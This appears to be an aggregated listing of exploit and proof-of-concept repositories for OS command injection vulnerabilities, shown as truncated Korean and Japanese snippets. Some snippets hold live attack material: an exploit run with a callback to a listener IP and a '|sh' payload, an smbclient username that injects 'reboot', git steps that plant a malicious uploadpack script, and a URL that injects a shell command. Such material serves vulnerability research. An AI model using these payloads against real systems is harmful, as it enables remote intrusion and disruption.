CVE-2026-4480

익스플로잇 실행: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated payloa...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly 미들웨어 API 원격 코드 실행 Hoverfly ≤ 1.11.3에서 OS 명령 주입을 통한 인증된 RCE 취약점 개요 속성| 값 ---|--- CVE ID| CVE-2025-54123 CVSS 점수| 9.8 — 치명적 CVSS 벡터| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS 명령 주입, CWE-20 부적절한 입력 검증 제품| Hoverfly — 오픈소스 API 시뮬레이션 도구 영향 버전| 1.11.3 을 포함한 모든...

CVE-2021-46704

GenieACS의 OS 명령 주입 취약점 CVE-2021-46704 CVE-2021-46704 Nuclei 템플릿 참고 자료 : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2022-46169

Cacti remoteagent.php 원격 명령 실행 취약점 CVE-2022-46169 취약점 설명 Cacti는 서버 모니터링 및 관리 플랫폼입니다. 1.2.171.2.22 버전에 명령 주입 취약점이 존재하며, 공격자는 X-Forwarded-For 요청 헤더를 통해 서버 측 검증을 우회하고 임의의 명령을 실행할 수 있습니다. 취약점 영향 Cacti 1.2.17-1.2.22 네트워크 매핑 app="Cacti-监控系统" 취약점 재현...

CVE-2022-36804

CVE-2022-36804 - Atlassian Bitbucket Server 및 Data Center 명령 삽입 취약점 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 저자 원본 PoC 작성자 Walnut Security Services Pvt. Ltd님께 깊은 감사를 드립니다. 설명 Atlassian Bitbucket Server 및 Data Center 7.0.0에서 7.6.17 미만, 7.7.0에서 7.17.10 미만, 7.18.0에서 7.21.4 미만, 8.0.0에서 8.0.3 미만, 8.1.0에서...

CVE-2020-24032

CVE-2020-24032 제안된 설명 XoruX LPAR2RRD 및 STOR2RRD 2.70 가상 어플라이언스의 tz.pl은 시간대에 셸 메타문자를 통해 cmd=set&tz=OS 명령 주입을 허용합니다. 취약점 유형 Other OS 명령 주입 제품 공급업체 XoruX s.r.o. 영향받는 제품 코드 베이스 LPAR2RRD 및 STOR2RRD 가상 어플라이언스 버전 - 2.70 공격 유형 원격 영향 코드 실행 true 공급업체가 취약점을 확인 또는 인정했습니까? true 참조...

smb_usermap

smbusermap CVE-2007-2447에 대한 간단한 익스플로잇으로, Samba 3.0.20에 존재합니다. 이 취약점은 이보다 더 적은 도구로도 익스플로잇할 수 있습니다. 예를 들어 smbclient를 사용할 수 있지만, 특수 문자가 많이 먹혀서 복잡한 명령어를 실행하기는 어렵습니다. 하지만 간단한 명령어이 경우 재부팅는 다음과 같이 전달할 수 있습니다: smbclient -L --user="/=\reboot" -N...

CVE-2024-32004

tmp 저장소를 생성하고 uploadpack.allowfilter를 true로 설정 git init tmp git -C tmp config uploadpack.allowfilter 1 tmp 저장소에서 evil 복제 git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp 원격 필터 스크립트 구성 git -C evil config remote.origin.uploadpack "./fake-upload-pack" 악성 스크립트 실행 git pull...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript 명령 주입 취약점 PoC CVE-2023-36664 버전 10.01.2 이전의 Ghostscript에서 공개된 취약점은 코드 실행으로 이어집니다 CVSS 점수 9.8. 공식 취약점 설명: Artifex Ghostscript 10.01.2까지는 파이프 장치%pipe% 접두사 또는 | 파이프 문자 접두사에 대한 권한 검증을 잘못 처리합니다. Debian은 임의 명령 실행 가능성을 언급하는 보안 권고를 발표했습니다: "Ghostscript, GPL PostScript/PDF 인터프리터가 파이프 장치에 대한 권한...

CVE-2026-75616

CVE-2026-75616 TP-Link Archer C20 v6 Web管理インターフェースにおける認証済みOSコマンドインジェクション。 BPA WAN設定値は適切な無害化なしにsystemに渡されるため、隣接ネットワーク上の認証済み管理者がrootとしてコマンドを実行できる。 Daniil Gordeev totekuh によって発見および報告されました。 影響を受けるバージョン Archer C20 v6 EUファームウェア 0.9.1 Build 260811 より前 Archer C20 v6 USファームウェア 0.9.1 Build 260812 より前 Arche...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE 쿼리 문자열 인수를 통한 Windows 배치 스크립트 인젝션 설명 Apache Tomcat에서 CGI 서블릿이 활성화되고 enableCmdLineArguments=true로 설정되면, 쿼리 문자열 파라미터가 CGI 스크립트의 명령줄 인수로 전달됩니다. Windows에서 배치 파일.bat/.cmd은 &를 명령 구분자로 해석하므로, 조작된 URL을 통해 임의의 명령 실행이 가능합니다. 사전 조건 conf/web.x...

CVE-2024-10914-Exploit

CVE-2024-10914-Exploit CVE-2024-10914は、D-Link DNS-320、DNS-320LW、DNS-325、DNS-340L（バージョン20241028まで）に影響する重大な脆弱性です。ファイル/cgi-bin/accountmgr.cgi?cmd=cgiuseradd内の関数cgiuseraddが原因であり、攻撃者がリモートからオペレーティングシステムコマンドを注入することを可能にします。 スクリプトの使用方法: './cve-2024-10914-exploit.sh -u -c '...

CVE-2022-23935

CVE-2022-23935 Exiftool 소프트웨어 프로그램은 12.38 이전 버전에서 특수하게 조작된 파일 이름을 통해 악용될 수 있는 보안 취약점이 있습니다. 이 취약점은 명령 주입을 허용하며, 공격자는 파일 이름 끝에 파이프 문자 '|'를 추가하여 시스템에서 임의의 명령을 실행할 수 있습니다. 이로 인해 해당 파일은 일반 파일로 취급되지 않고 실행할 명령으로 취급됩니다. 결과적으로, 시스템에서 이 이름 규칙을 가진 모든 파일은 악성 코드를 실행하는 데 잠재적으로 사용될 수 있습니다...

Vulnerability-Research

🛡️ 脆弱性研究 ここでは、私が発見した脆弱性、その弱点の詳細を含む対応するWrite-Up、およびそれらの影響と対策に関する知見を取りまとめています。 🏆 採番されたCVE CVE ID| 脆弱性タイトル| 深刻度/CVSS| 公開日| Write-Up ---|---|---|---|--- N.A.| Microsoft Security Response Center MSRC 2026年第1四半期セキュリティ研究者リーダーボード 192| N/A| Apr 2026| 公式謝辞ページ N.A.| Microsoft Online Services に対する MSRC...

CVE-2026-4480-POC

CVE-2026-4480 - Samba印刷サブシステムのリモートコード実行 概要 CVE-2026-4480 に関連する概念実証および研究資料。これはSamba印刷サブシステムに影響を与える重大なリモートコード実行（RCE）脆弱性です。 この脆弱性は、設定された print command に %J 置換パラメータを通じて渡される、ユーザー制御の印刷ジョブ記述の不適切な処理に起因します。 脆弱性の詳細 CVE: CVE-2026-4480 コンポーネント: Samba印刷サブシステム 種類: OSコマンドインジェクション（CWE-78） 影響: リモートコード実行 攻撃ベクトル:...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2024-56115

CVE-2024-56115 제안된 설명 Amiro.CMS 7.8.4 이전 버전에는 특수 요소를 중화하기 위한 조치를 취하지 않아 발생하는 취약점이 존재합니다. 이 취약점으로 인해 원격 공격자가 크로스 사이트 스크립팅XSS 공격을 수행할 수 있습니다. 취약점 유형 CWE-78 | OS 명령에 사용되는 특수 요소의 부적절한 중화'OS 명령 주입' 제품 공급업체 Amiro.CMS https://www.amiro.ru 영향을 받는 제품 코드 베이스 Amiro.CMS – 7.8.4 및 이전 버전 영향: 권한 상승 True 공급업체가...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS 명령 주입 PoC 영어 버전 개요 이 리포지토리는 Composer 의 Perforce VCS 드라이버에 존재하는 중대한 OS 명령 주입 취약점 CVE-2026-40176 의 Proof of ConceptPoC입니다. 이 취약점은 Composer 2.2.27 및 2.9.6 이전 버전에 영향을 미칩니다. 취약점은 Perforce::generateP4Command 메서드에 존재합니다. 셸 명령을 조립할 때 url, p4user, client 등의 리포지토리 설정 값에...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-위협-모델----ms-agent-명령-삽입...

watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604

watchTowr-vs-Dell-UnityVSA-CVE-2025-36604 Dell UnityVSA CVE-2025-36604 탐지 아티팩트 생성기 https://github.com/user-attachments/assets/28488a97-7845-4b78-9fe7-64b9172ab023 기술적 세부 사항은 블로그 게시물을 참조하세요. 동작 중 탐지 python watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py --target https://192.168.5.45/ --comman...